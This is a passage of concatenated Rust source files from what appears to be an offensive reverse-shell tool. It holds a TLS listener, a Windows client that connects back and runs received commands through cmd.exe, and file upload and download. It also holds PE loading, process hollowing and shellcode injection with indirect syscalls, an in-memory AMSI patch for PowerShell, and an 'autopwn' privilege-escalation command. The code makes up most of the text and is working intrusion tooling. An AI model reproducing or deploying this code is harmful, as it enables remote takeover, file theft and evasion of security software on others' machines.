.trim_end_matches('\0') .starts_with("download") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(' ').collect(); match File::open(path[1]) { Ok(mut file) => { let mut file_buffer = [0; 4096]; loop { let bytes_read = file.read(&mut file_buffer)?; if bytes_read == 0 { let end_of_file = "EndOfTheFile:".to_owned() + &file.metadata()?.len().to_string(); tls_stream.write_all(end_of_file.as_bytes())?; break; } tls_stream.write_all(&file_buffer[..bytes_read])?; } } Err(r) => { tls_stream.write_all(r.to_string().as_bytes())?; tls_stream.write_all("EndOfTheFile".as_bytes())?; } } } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("upload") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(' ').collect(); match File::create(path[2].trim_end_matches('\0').trim_end()) { Ok(mut file) => { tls_stream.write("Creation OK".as_bytes())?; let mut file_buffer = [0; 4096]; let mut file_vec: Vec = Vec::new(); match tls_stream.read(&mut file_buffer) { Ok(_) => receive_and_write_bytes( &mut tls_stream, &mut file_vec, &mut file_buffer, )?, Err(r) => { log::debug!("Reading error : {}", r); tls_stream.flush()?; continue; } } file.write(&file_vec)?; } Err(r) => { log::debug!("File creation error : {}", r); tls_stream .write(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?; } } } else { // Magic stuff let mut res = do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0')); if res.is_empty() { tls_stream.write_all("\0".as_bytes())?; } else { // Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096 let mut buff_to_send = [0; 4096]; loop { let mut count = 0; for c in &res { if count == 4096 { break; } buff_to_send[count] = *c; count += 1; } let _ = tls_stream.write(&buff_to_send)?; buff_to_send = [0; 4096]; if count < 4096 { break; } let res2 = res.split_off(count); res = res2; } } } tls_stream.flush()?; } tls_stream.shutdown()?; Ok(()) } ================================================ FILE: src/tcp/tcp_server.rs ================================================ use std::error::Error; use std::fs::File; use std::io::{self, Read, Write}; use std::process::exit; use std::sync::Arc; use std::thread; use native_tls::{Identity, TlsAcceptor}; use regex::Regex; use std::net::{Ipv4Addr, SocketAddrV4, TcpListener}; use crate::autopwn; use crate::utils::tools::{read_and_send_file, receive_and_write_bytes}; static PATH_REGEX: &str = r#"PS (?(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?[^\/\\<>:"|?\n\r]*?)> "#; pub fn server(i: &str, port: u16, cert_path: &str, cert_pass: &str) -> Result<(), Box> { // Read TLS certificate and create identity from it let file = File::open(cert_path); let mut file = match file { Ok(f) => f, Err(_) => { log::error!("PFX file cannot be openned"); exit(2); } }; let mut identity = vec![]; file.read_to_end(&mut identity)?; let identity = Identity::from_pkcs12(&identity, cert_pass)?; // Addr and port where server will bind let ip = i.parse::(); let ip_addr = match ip { Ok(i) => i, Err(r) => { log::error!("{}", r); exit(3); } }; // Socket creation and binding let socket = SocketAddrV4::new(ip_addr, port); let tcp_lstn = TcpListener::bind(socket); let listener = match tcp_lstn { Ok(l) => l, Err(r) => { log::error!("{}", r); exit(4); } }; let acceptor = TlsAcceptor::new(identity)?; let acceptor = Arc::new(acceptor); println!("{}", banner()); log::info!("[+] Binded to {}:{}", ip_addr, port); if let Some(tcp_stream) = listener.incoming().next() { match tcp_stream { Ok(tcp_stream) => { let acceptor = acceptor.clone(); let server_handle = thread::spawn(move || { log::info!( "[+] TCP connection success from {} ! BANG BANG !", tcp_stream.peer_addr().unwrap() ); let mut stream = acceptor.accept(tcp_stream).expect("Error TLS accept"); log::info!("[+] This shell is yours !"); log::info!("[+] Type 'help' for advanced integrated commands"); let mut buff = [0; 4096]; let mut _client_os = String::new(); match stream.read(&mut buff) { Ok(_) => { _client_os = String::from_utf8_lossy(&buff) .trim_end_matches('\0') .trim_end() .to_string(); } Err(r) => { log::error!("Cannot read client OS : {}", r); _client_os = "undefined".to_string(); } } log::info!("[+] Client's OS family is {}", _client_os); // Ctrl+C handler to avoid kill the shell by error ctrlc::set_handler(move || { println!("Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually."); }) .expect("Error setting Ctrl-C handler"); // Command loop loop { print!("> "); io::stdout().flush().unwrap(); let mut cmd = String::new(); io::stdin().read_line(&mut cmd).expect("[-] Input issue"); cmd.push('\0'); // Check for help command if cmd.as_str().starts_with("help") { println!("{}", help()); continue; } // Check for autopwn command if cmd.as_str().starts_with("autopwn") { print!("What is the meaning of life ? "); io::stdout().flush().unwrap(); let mut life = String::new(); io::stdin().read_line(&mut life).expect("[-] Input issue"); if life .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("42") { autopwn::autopwn(); continue; } continue; } // Cmd handling if cmd.trim_end_matches('\0').trim_end().ne("") { // Check for download/upload commands if cmd.as_str().starts_with("download") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 3 { log::warn!("Invalid argument number. Usage is : download C:\\file\\to\\download C:\\local\\path\0"); } else { match File::create(path[2].trim_end_matches('\0').trim_end()) { Ok(mut file) => { match stream.write(cmd.as_bytes()) { Ok(_) => (), Err(r) => { log::error!( "Error sending the download command : {}", r ); stream.flush().unwrap(); continue; } } let mut buff = [0; 4096]; let mut file_vec: Vec = Vec::new(); match stream.read(&mut buff) { Ok(_) => { match receive_and_write_bytes( &mut stream, &mut file_vec, &mut buff, ) { Ok(_) => (), Err(r) => { log::error!( "Error receiving data : {}", r ); stream.flush().unwrap(); continue; } } } Err(r) => { log::error!("Error during download : {}", r); stream.flush().unwrap(); continue; } } file.write(&file_vec).expect("Error writing the file"); } Err(r) => { log::error!("Error during file creation : {}", r); continue; } } } continue; } else if cmd.as_str().starts_with("upload") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 3 { log::warn!("Invalid argument number. Usage is : upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write\0"); } else { match File::open(path[1]) { Ok(file) => { let mut buff = [0; 4096]; match stream.write(cmd.as_bytes()) { Ok(_) => { stream .read(&mut buff) .expect("Cannot read file creation result"); if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .ne("Creation OK") { log::warn!( "{}", String::from_utf8_lossy(&buff) .trim_end_matches('\0') ); continue; } } Err(r) => { log::error!( "Error sending the upload command : {}", r ); stream.flush().unwrap(); continue; } } match read_and_send_file(file, &mut stream) { Ok(_) => (), Err(r) => { log::error!("Error during upload : {}", r); stream.flush().unwrap(); continue; } } } Err(r) => { log::error!("File cannot be opened : {}", r); stream.flush().unwrap(); continue; } } } continue; } // Check for load command if cmd.as_str().starts_with("load -s") || cmd.as_str().starts_with("syscalls -s") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 4 { log::warn!("Invalid argument number. Usage is : load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0"); continue; } else { if _client_os.ne("windows") { log::warn!("Client's OS is not Windows, this command doesn't make any sense"); continue; } match File::open(path[2]) { Ok(file) => { match stream.write(cmd.as_bytes()) { Ok(_) => (), Err(r) => { log::error!( "Error sending the load command : {}", r ); stream.flush().unwrap(); continue; } } match read_and_send_file(file, &mut stream) { Ok(_) => (), Err(r) => { log::error!("Error during loading : {}", r); stream.flush().unwrap(); continue; } } } Err(r) => { log::error!("File cannot be opened : {}", r); stream.flush().unwrap(); continue; } } } stream .read(&mut buff) .expect("Error reading the result of the load command"); continue; } // Snippet for load -h command with PE loading from the server by Copilot // For future use /*else if cmd.as_str().starts_with("load -h") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 4 { log::warn!("Invalid argument number. Usage is : load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0"); } else { match File::open(path[2]) { Ok(mut file) => { let mut buff = [0; 4096]; match stream.write(cmd.as_bytes()) { Ok(_) => (), Err(r) => { log::error!( "Error sending the load command : {}", r ); stream.flush().unwrap(); continue; } } match read_and_send_file(file, &mut stream) { Ok(_) => (), Err(r) => { log::error!("Error during load : {}", r); stream.flush().unwrap(); continue; } } } Err(r) => { log::error!("File cannot be opened : {}", r); stream.flush().unwrap(); continue; } } } continue; } else if cmd.as_str().starts_with("load") { }*/ // Check for amsi command if cmd.as_str().starts_with("powpow") { if _client_os.ne("windows") { log::warn!("Client's OS is not Windows, this command doesn't make any sense"); continue; } print!("Wait ! This feature is not really opsec, are you a big daddy ? [Y/N] "); io::stdout().flush().unwrap(); let mut big_daddy = String::new(); io::stdin() .read_line(&mut big_daddy) .expect("[-] Input issue"); if !big_daddy .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("Y") { log::info!("Not starting PowerShell"); continue; } print!("Do you want to patch the AMSI in memory or not ? [Y/N] "); io::stdout().flush().unwrap(); let mut amsi = String::new(); let mut syscalls_value = String::new(); io::stdin().read_line(&mut amsi).expect("[-] Input issue"); if !amsi .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("Y") { log::info!("[+] Starting PowerShell without patching the AMSI, please wait..."); } else { print!("Do you want to use indirect syscalls ? [Y/N] "); io::stdout().flush().unwrap(); io::stdin() .read_line(&mut syscalls_value) .expect("[-] Input issue"); if !syscalls_value .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("Y") { log::info!("[+] Starting PowerShell and patching the AMSI without indirect syscalls, please wait..."); } else { log::info!("[+] Starting PowerShell and patching the AMSI with indirect syscalls, please wait..."); } } match stream.write( (cmd.trim_end_matches('\0').to_owned() + ":" + &amsi + ":" + &syscalls_value) .as_bytes(), ) { Ok(_) => (), Err(r) => { log::error!("Error sending the powpow command : {}", r); stream.flush().unwrap(); continue; } } let path_regex = Regex::new(PATH_REGEX).unwrap(); loop { let mut cmd = String::new(); let mut buff = [0; 4096]; // Read output from client match stream.read(&mut buff) { Ok(_) => { while !path_regex.is_match( String::from_utf8_lossy(&buff) .trim_end_matches('\0') .to_string() .as_str(), ) { print!( "{}", String::from_utf8_lossy(&buff) .trim_end_matches('\0') ); buff = [0; 4096]; match stream.read(&mut buff) { Ok(_) => (), Err(r) => { log::error!("Reading error : {}", r); stream.flush().unwrap(); continue; } } } print!( "{}", String::from_utf8_lossy(&buff) .trim_end_matches('\0') ); } Err(r) => { log::error!("Reading error : {}", r); stream.flush().unwrap(); continue; } } io::stdout().flush().unwrap(); io::stdin().read_line(&mut cmd).expect("[-] Input issue"); match stream.write(cmd.as_bytes()) { Ok(_) => (), Err(r) => { log::error!( "Error sending command to PowerShell : {}", r ); stream.flush().unwrap(); continue; } } // Check quit if cmd.trim_end_matches('\0').trim_end() == "quit" || cmd.trim_end_matches('\0').trim_end() == "exit" { break; } } continue; } stream .write_all(cmd.as_bytes()) .expect("Error sending command"); let mut buff = [0; 4096]; // Read output from client match stream.read(&mut buff) { Ok(_) => { while buff[4095] != 0 { print!( "{}", String::from_utf8_lossy(&buff).trim_end_matches('\0') ); buff = [0; 4096]; match stream.read(&mut buff) { Ok(_) => (), Err(r) => { log::error!("Reading error : {}", r); stream.flush().unwrap(); continue; } } } println!( "{}", String::from_utf8_lossy(&buff).trim_end_matches('\0') ); } Err(r) => { log::error!("Reading error : {}", r); stream.flush().unwrap(); continue; } } } // Check quit if cmd.trim_end_matches('\0').trim_end() == "quit" || cmd.trim_end_matches('\0').trim_end() == "exit" { break; } } // This is the end println!("[+] Goodbye my friend <3"); stream.shutdown().unwrap(); }); match server_handle.join() { Ok(ha) => ha, Err(r) => { println!("{:?}", r); } } } Err(r) => { log::error!("Error listener {}", r); exit(5); } } } Ok(()) } fn help() -> String { "[+] Custom integrated commands : [+] Loading commands > load C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it. This will kill the reverse shell ! > load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it > load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it [+] Loading commands with indirect syscalls > syscalls C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell ! > syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls > syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls [+] Bypass commands > powpow start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls [+] Network commands > download C:\\file\\to\\download C:\\local\\path download a file from the remote system > upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write upload a file to the remote system [+] Special commands > autopwn escalate to the SYSTEM or root account from any local account by exploiting a zero day ".to_string() } fn banner() -> String { r#" ____ _____ _____ __ ____ / __ \/ ___/ / ___// /_ ___ / / / / /_/ /\__ \______\__ \/ __ \/ _ \/ / / / _, _/___/ /_____/__/ / / / / __/ / / /_/ |_|/____/ /____/_/ /_/\___/_/_/ in Rust with love by BlackWasp @BlWasp_ "# .to_string() } ================================================ FILE: src/tcp/tcp_windows_client.rs ================================================ use crate::amsi_bypass::{patch_amsi, start_process_thread}; use crate::utils::tools::{read_and_send_file, receive_and_write_bytes}; use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode}; use std::error::Error; use std::fs::File; use std::io::{Read, Write}; use std::process::{exit, Command, Stdio}; use std::sync::mpsc::{channel, TryRecvError}; use std::sync::{atomic::AtomicBool, atomic::Ordering, Arc}; use native_tls::TlsConnector; use signal_hook::consts::SIGTERM; use std::net::TcpStream; fn do_stuff(cmd: &str) -> Vec { let exec = Command::new("cmd.exe").args(&["/c", cmd]).output().unwrap(); let stdo = exec.stdout.as_slice(); let _stdr = exec.stderr.as_slice(); if _stdr.len() == 0 { return stdo.to_vec(); } else { return _stdr.to_vec(); } } pub fn client(i: &str, p: &str) -> Result<(), Box> { // Connection to server and TLS setup let clt = TcpStream::connect(i.to_owned() + ":" + p)?; log::debug!( "[+] TCP connection success to the listener at {}", clt.peer_addr()? ); let mut connector_builder = TlsConnector::builder(); connector_builder.danger_accept_invalid_certs(true); connector_builder.danger_accept_invalid_hostnames(true); let connector = connector_builder.build()?; let stream = connector.connect("dummy", clt); let mut tls_stream = match stream { Ok(s) => s, Err(r) => { log::debug!("TLS handshake error : {:?}", r.source()); exit(6); } }; let os = std::env::consts::FAMILY; tls_stream.write(os.as_bytes())?; // Cmd execution loop loop { // Read input from server let mut buff = [0; 4096]; let read = tls_stream.read(&mut buff[0..]); let bytes_read = match read { Ok(b) => b, Err(r) => { log::debug!("Reading error : {}", r); continue; } }; // Check to quit if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .trim_end() == "quit" || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .trim_end() == "exit" { log::debug!("Quit"); break; } // Check for download/upload commands if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("download") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(" ").collect(); match File::open(path[1]) { Ok(file) => match read_and_send_file(file, &mut tls_stream) { Ok(_) => (), Err(r) => { log::error!("Error during upload : {}", r); tls_stream.flush().unwrap(); continue; } }, Err(r) => { tls_stream.write(r.to_string().as_bytes())?; tls_stream.write_all("EndOfTheFile".as_bytes())?; } } } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("upload") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(" ").collect(); match File::create(path[2].trim_end_matches('\0').trim_end()) { Ok(mut file) => { tls_stream.write("Creation OK".as_bytes())?; let mut file_buffer = [0; 4096]; let mut file_vec: Vec = Vec::new(); match tls_stream.read(&mut file_buffer) { Ok(_) => receive_and_write_bytes( &mut tls_stream, &mut file_vec, &mut file_buffer, )?, Err(r) => { log::debug!("Reading error : {}", r); tls_stream.flush()?; continue; } } file.write(&file_vec)?; } Err(r) => { log::debug!("File creation error : {}", r); tls_stream .write(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?; } } // Check for load command } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load -h") || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("syscalls -h") || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load -s") || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("syscalls -s") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(" ").collect(); if path.len() != 4 { if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load -h") { tls_stream.write("Invalid argument number. Usage is : load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?; } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("syscalls -h") { tls_stream.write("Invalid argument number. Usage is : syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?; } } else { let load_ret: Result<(), Box>; if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load -h") { load_ret = call_loader_pe( path[2].trim_end_matches('\0'), path[3].trim_end_matches('\0'), 0, ); } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("syscalls -h") { load_ret = call_loader_pe( path[2].trim_end_matches('\0'), path[3].trim_end_matches('\0'), 1, ); } else { let mut shellcode_buffer = [0; 4096]; let mut shellcode_vec: Vec = Vec::new(); match tls_stream.read(&mut shellcode_buffer) { Ok(_) => { receive_and_write_bytes( &mut tls_stream, &mut shellcode_vec, &mut shellcode_buffer, )?; } Err(r) => { log::debug!("Reading error : {}", r); tls_stream.flush()?; continue; } } if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load -s") { load_ret = call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 0); } else { load_ret = call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 1); } } match load_ret { Ok(()) => { tls_stream.write("\0".as_bytes())?; } Err(r) => { tls_stream.write(r.to_string().as_bytes())?; } }; } } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load ") || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("syscalls ") { let tmp = "".to_owned(); let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'); let path: Vec<&str> = cmd.split(" ").collect(); if path.len() != 2 { if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load") { tls_stream.write( "Invalid argument number. Usage is : load C:\\path\\to\\PE_to_load\0" .as_bytes(), )?; } else { tls_stream.write( "Invalid argument number. Usage is : syscalls C:\\path\\to\\PE_to_load\0" .as_bytes(), )?; } } else { let load_ret: Result<(), Box>; if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("load") { load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 2); } else { load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 3); } match load_ret { Ok(()) => { tls_stream.write("\0".as_bytes())?; } Err(r) => { tls_stream.write(r.to_string().as_bytes())?; } }; } // Check for PowerShell w/o AMSI command } else if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .starts_with("powpow") { // Start the PowerShell process and patch the AMSI in its memory let (tx1, rx1) = channel(); let (tx2, rx2) = channel(); let mut child = Command::new("powershell.exe") .args(["-nop", "-exec", "bypass"]) .stdin(Stdio::piped()) .stdout(Stdio::piped()) .spawn() .expect("Failed to start process"); let amsi_value = String::from_utf8_lossy(&buff) .splitn(3, ':') .nth(1) .unwrap_or("N") .trim_end_matches('\0') .to_owned(); println!("{}", amsi_value); if amsi_value .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("Y") { let syscalls_value = String::from_utf8_lossy(&buff) .splitn(3, ':') .nth(2) .unwrap_or("N") .trim_end_matches('\0') .to_owned(); println!("{}", syscalls_value); let syscalls_bool = match syscalls_value.trim_end_matches('\0').trim_end() { "Y" => true, "N" => false, _ => false, }; patch_amsi(child.id(), syscalls_bool); } // Start process thread with in/out pipes start_process_thread(&mut child, tx2, rx1)?; let should_terminate = Arc::new(AtomicBool::new(false)); signal_hook::flag::register(SIGTERM, Arc::clone(&should_terminate))?; // Receive the PowerShell banner loop { match rx2.try_recv() { Ok(line) => { if line.starts_with("EndOfOutput") { break; } tls_stream.write(line.as_bytes())?; } Err(TryRecvError::Empty) => { continue; } Err(r) => { log::debug!("Recv error: {:?}", r); tls_stream.write(r.to_string().as_bytes())?; break; } } } // Interactive loop while !should_terminate.load(Ordering::Relaxed) { buff = [0; 4096]; match tls_stream.read(&mut buff[0..]) { Ok(_) => (), Err(r) => { log::debug!("Reading error : {}", r); tls_stream.write(r.to_string().as_bytes())?; continue; } }; let cmd = "".to_owned() + String::from_utf8_lossy(&buff).trim_end_matches('\0'); match tx1.send(String::from(cmd.clone())) { Ok(_) => { if cmd.trim_end_matches('\0').trim_end() == "quit" || cmd.trim_end_matches('\0').trim_end() == "exit" { break; } while !should_terminate.load(Ordering::Relaxed) { match rx2.try_recv() { Ok(line) => { if line.starts_with("EndOfOutput") { break; } tls_stream.write(line.as_bytes())?; } Err(TryRecvError::Empty) => { continue; } Err(r) => { log::debug!("Recv error: {:?}", r); tls_stream.write(r.to_string().as_bytes())?; continue; } } } } Err(r) => { log::debug!( "Error sending command to PowerShell through the pipe : {:?}", r ); continue; } } } child.kill()?; } else { // Magic stuff let mut res = do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0')); if res.len() == 0 { tls_stream.write("\0".as_bytes())?; } else { // Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096 let mut buff_to_send = [0; 4096]; loop { let mut count = 0; for c in &res { if count == 4096 { break; } buff_to_send[count] = *c; count += 1; } let _ = tls_stream.write(&buff_to_send)?; buff_to_send = [0; 4096]; if count < 4096 { break; } let res2 = res.split_off(count); res = res2; } } } tls_stream.flush()?; } tls_stream.shutdown()?; Ok(()) } ================================================ FILE: src/utils/structures.rs ================================================ #![allow(non_snake_case)] #![allow(non_camel_case_types)] #![allow(dead_code)] #![cfg(target_family = "windows")] /* All these structures have been copied from the OffensiveRust repository by winsecurity : https://github.com/winsecurity/Offensive-Rust They take the advantage to be more detailled than the ones offered by Microsoft in their crate */ #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_DOS_HEADER { pub e_magic: [u8; 2], // Magic number e_cblp: u16, // Bytes on last page of file e_cp: u16, // Pages in file e_crlc: u16, // Relocations e_cparhdr: u16, // Size of header in paragraphs e_minalloc: u16, // Minimum extra paragraphs needed e_maxalloc: u16, // Maximum extra paragraphs needed e_ss: u16, // Initial (relative) SS value e_sp: u16, // Initial SP value e_csum: u16, // Checksum e_ip: u16, // Initial IP value e_cs: u16, // Initial (relative) CS value e_lfarlc: u16, // File address of relocation table e_ovno: u16, // Overlay number e_res1: [u16; 4], // Reserved words e_oemid: u16, // OEM identifier (for e_oeminfo) e_oeminfo: u16, // OEM information, e_oemid specific e_res2: [u16; 10], // Reserved words pub e_lfanew: i32, // File address of new exe header } #[derive(Clone, Default, Debug)] #[repr(C)] pub struct IMAGE_SECTION_HEADER { pub Name: [u8; 8], VirtualSize: u32, pub VirtualAddress: u32, pub SizeOfRawData: u32, pub PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32, } impl IMAGE_SECTION_HEADER { fn getsecname(&mut self) -> String { String::from_utf8_lossy(&self.Name).to_string() } } #[repr(C)] pub union chars_or_originalfirstthunk { Characteristics: u32, OriginalFirstThunk: u32, } #[derive(Debug, Clone, Default)] #[repr(C)] pub struct IMAGE_IMPORT_DESCRIPTOR { pub Characteristics_or_OriginalFirstThunk: u32, TimeDateStamp: u32, ForwarderChain: u32, pub Name: u32, pub FirstThunk: u32, } #[repr(C)] pub union IMAGE_THUNK_DATA32 { pub ForwarderString: u32, pub Function: u32, pub Ordinal: u32, pub AddressOfData: u32, } #[derive(Debug, Clone, Default)] #[repr(C)] pub struct IMAGE_EXPORT_DIRECTORY { pub Characteristics: u32, pub TimeDateStamp: u32, pub MajorVersion: u16, pub MinorVersion: u16, pub Name: u32, pub Base: u32, pub NumberOfFunctions: u32, pub NumberOfNames: u32, pub AddressOfFunctions: u32, // RVA from base of image pub AddressOfNames: u32, // RVA from base of image pub AddressOfNameOrdinals: u32, // RVA from base of image } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_OPTIONAL_HEADER64 { Magic: u16, MajorLinkerVersion: u8, MinorLinkerVersion: u8, SizeOfCode: u32, SizeOfInitializedData: u32, SizeOfUninitializedData: u32, pub AddressOfEntryPoint: u32, BaseOfCode: u32, pub ImageBase: i64, SectionAlignment: u32, FileAlignment: u32, MajorOperatingSystemVersion: u16, MinorOperatingSystemVersion: u16, MajorImageVersion: u16, MinorImageVersion: u16, MajorSubsystemVersion: u16, MinorSubsystemVersion: u16, Win32VersionValue: u32, SizeOfImage: u32, SizeOfHeaders: u32, CheckSum: u32, Subsystem: u16, DllCharacteristics: u16, SizeOfStackReserve: u64, SizeOfStackCommit: u64, SizeOfHeapReserve: u64, SizeOfHeapCommit: u64, LoaderFlags: u32, NumberOfRvaAndSizes: u32, pub ExportTable: IMAGE_DATA_DIRECTORY, pub ImportTable: IMAGE_DATA_DIRECTORY, ResourceTable: IMAGE_DATA_DIRECTORY, ExceptionTable: IMAGE_DATA_DIRECTORY, CertificateTable: IMAGE_DATA_DIRECTORY, pub BaseRelocationTable: IMAGE_DATA_DIRECTORY, Debug: IMAGE_DATA_DIRECTORY, Architecture: IMAGE_DATA_DIRECTORY, GlobalPtr: IMAGE_DATA_DIRECTORY, TLSTable: IMAGE_DATA_DIRECTORY, LoadConfigTable: IMAGE_DATA_DIRECTORY, BoundImport: IMAGE_DATA_DIRECTORY, IAT: IMAGE_DATA_DIRECTORY, DelayImportDescriptor: IMAGE_DATA_DIRECTORY, CLRRuntimeHeader: IMAGE_DATA_DIRECTORY, Reserved: IMAGE_DATA_DIRECTORY, } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_OPTIONAL_HEADER32 { Magic: u16, MajorLinkerVersion: u8, MinorLinkerVersion: u8, SizeOfCode: u32, SizeOfInitializedData: u32, SizeOfUninitializedData: u32, AddressOfEntryPoint: u32, BaseOfCode: u32, // PE32 contains this additional field BaseOfData: u32, ImageBase: u32, SectionAlignment: u32, FileAlignment: u32, MajorOperatingSystemVersion: u16, MinorOperatingSystemVersion: u16, MajorImageVersion: u16, MinorImageVersion: u16, MajorSubsystemVersion: u16, MinorSubsystemVersion: u16, Win32VersionValue: u32, SizeOfImage: u32, SizeOfHeaders: u32, CheckSum: u32, Subsystem: u32, DllCharacteristics: u16, SizeOfStackReserve: u32, SizeOfStackCommit: u32, SizeOfHeapReserve: u32, SizeOfHeapCommit: u32, LoaderFlags: u32, NumberOfRvaAndSizes: u32, ExportTable: IMAGE_DATA_DIRECTORY, ImportTable: IMAGE_DATA_DIRECTORY, ResourceTable: IMAGE_DATA_DIRECTORY, ExceptionTable: IMAGE_DATA_DIRECTORY, CertificateTable: IMAGE_DATA_DIRECTORY, BaseRelocationTable: IMAGE_DATA_DIRECTORY, Debug: IMAGE_DATA_DIRECTORY, Architecture: IMAGE_DATA_DIRECTORY, GlobalPtr: IMAGE_DATA_DIRECTORY, TLSTable: IMAGE_DATA_DIRECTORY, LoadConfigTable: IMAGE_DATA_DIRECTORY, BoundImport: IMAGE_DATA_DIRECTORY, IAT: IMAGE_DATA_DIRECTORY, DelayImportDescriptor: IMAGE_DATA_DIRECTORY, CLRRuntimeHeader: IMAGE_DATA_DIRECTORY, Reserved: IMAGE_DATA_DIRECTORY, } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_FILE_HEADER { Machine: u16, pub NumberOfSections: u16, TimeDateStamp: u32, PointerToSymbolTable: u32, NumberOfSymbols: u32, SizeOfOptionalHeader: u16, Characteristics: u16, } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_DATA_DIRECTORY { pub VirtualAddress: u32, pub Size: u32, } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_nt_headS32 { Signature: u32, FileHeader: IMAGE_FILE_HEADER, OptionalHeader: IMAGE_OPTIONAL_HEADER32, } #[derive(Debug, Default, Clone)] #[repr(C)] pub struct IMAGE_nt_headS64 { Signature: u32, pub FileHeader: IMAGE_FILE_HEADER, pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, } #[derive(Debug, Default, Clone)] pub struct MY_IMAGE_THUNK_DATA64 { pub Address: [u8; 8], } #[derive(Debug, Clone, Default)] pub struct MY_IMAGE_BASE_RELOCATION { pub VirtualAddress: u32, pub SizeofBlock: u32, } ================================================ FILE: src/utils/tools.rs ================================================ use std::error::Error; use std::fs::File; use std::io::{Read, Write}; use std::net::TcpStream; pub fn receive_and_write_bytes( tls_stream: &mut native_tls::TlsStream, bytes_vec: &mut Vec, file_buffer: &mut [u8; 4096], ) -> Result<(), Box> { loop { if String::from_utf8_lossy(file_buffer).starts_with("EndOfTheFile") { // Drop all the ending null bytes added by the buffer let file_len_string = String::from_utf8_lossy(file_buffer) .split_once(':') .map(|x| x.1) .unwrap_or("0") .trim_end_matches('\0') .to_owned(); let file_len_usize = file_len_string.parse::(); unsafe { bytes_vec.set_len(file_len_usize.unwrap()); } 